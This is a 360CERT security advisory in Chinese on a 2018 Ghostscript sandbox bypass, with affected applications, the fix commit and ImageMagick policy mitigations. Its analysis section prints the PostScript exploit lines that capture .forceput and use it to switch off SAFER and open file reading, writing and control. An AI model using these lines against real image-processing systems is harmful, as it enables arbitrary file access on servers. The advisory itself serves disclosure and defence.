报告编号:B6-2018-101001
报告来源:360CERT
报告作者:360CERT
更新日期:2018-10-10
0x00 漏洞背景
10 月 9号,Tavis Ormandy 通过公开邮件列表(hxxps://bugs.chromium[.]org/p/project-zero/issues/detail?id=1682) ,再次指出 ghostscript 的安全沙箱可以被绕过,通过构造恶意的图片内容,可造成任意文件读写。
ghostscript应用广泛,ImageMagick、python-matplotlib、libmagick 等图像处理应用均有引用。
在ghostscript中由于以往的安全事件,针对安全问题gs官方采用增加参数-dSAFER来开启安全沙箱,此次Taviso发现通过特殊的命令组使得.forceput留存于stack ,通过再注册该命令进行forceput命令的利用,引发任意读写漏洞。
0x01 漏洞影响
version <= 9.26(702f6982b63fca353d9106d2dbb6bb21f826c2e6) 之前的版本
官方已给出缓解措施
http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a54c9e61e7d0
http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a6807394bd94
但尚无release版本发布
漏洞导致所有引用ghostscript的上游应用受到影响。 常见应用如下:
- imagemagick
- libmagick
- graphicsmagick
- gimp
- python-matplotlib
- texlive-core
- texmacs
- latex2html
- latex2rtf
- 等
0x02 漏洞分析
.forceput - Equivalent to put, but works even if dict isnot writable, and (if dict is systemdict or the current save level is0) even if dict isinglobal VM and key and/or value isin local VM. This operator should be used only initialization code, and only in executeonly procedures: it must not be accessible after initialization.
官方对.forceput的使用介绍,能够强制更新dict中的值。
这次的漏洞主要原因也就是在触发错误的时候由于构造出.forceput留存在栈中, 然后被注册成命令forceput进而对systemdict进行修改。 最终达到bypass safer以及开启文件读写权限等操作。
核心过程分析 首先利用如下命令访问 switch_to_normal_marking_ops
/pdfopdict null def GS_PDF_ProcSet /switch_to_normal_marking_ops get stopped
触发异常后的栈情况
利用如下命令将.forceput 注册成forceput
/forceput $error /command get def
然后即可通过如下正常命令对systemdict进行修改
systemdict /SAFER false forceput systemdict /userparams get /PermitFileControl [(*)] forceput systemdict /userparams get /PermitFileWriting [(*)] forceput systemdict /userparams get /PermitFileReading [(*)] forceputcommit a54c9e61e7d02bbc620bcba9b1c208462a876afb (HEAD) Author: Chris Liddell
Date: Sat Sep 2915:34:552018 +0100Bug 699816: Improve hiding ofsecuritycritical custom operators Make procedures that use .forceput/.forcedef/.forceundef into operators. The resultof this is that errorsget reported against the "top"operator, rather than the "called"operatorwithin the procedure. For example: /myproc { myop } bind def If'myop' throws an error, the errorhandler will be passed the 'myop' operator. Promoting 'myproc'to a operator means the errorhandler will be passed 'myproc'.
在这次更新中对该问题进行了修复
在注册的时候都以odef注册成特殊的运算符使其无法被利用
0x03 利用效果
在9.26(702f6982b63fca353d9106d2dbb6bb21f826c2e6)依旧work
php ImageMagick demo
0x04 缓解措施
目前官方已给出缓解措施,建议更新ghostscript。至少需要到(a54c9e61e7d02bbc620bcba9b1c208462a876afb)之后的版本
若无法更新可先尝试禁用使用gs解析ps文件
使用ImageMagick,建议修改policy文件(默认位置:/etc/ImageMagick/policy.xml),在
<policymap><policydomain="coder"rights="none"pattern="PS" /><policydomain="coder"rights="none"pattern="EPS" /><policydomain="coder"rights="none"pattern="PDF" /><policydomain="coder"rights="none"pattern="XPS" />policymap>
0x05 时间线
2018-09-28 taviso提交漏洞
2018-10-09 漏洞信息公开
2018-10-10 360CERT对漏洞分析跟进,发布预警分析
0x06 参考链接
声明:本文来自360CERT,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。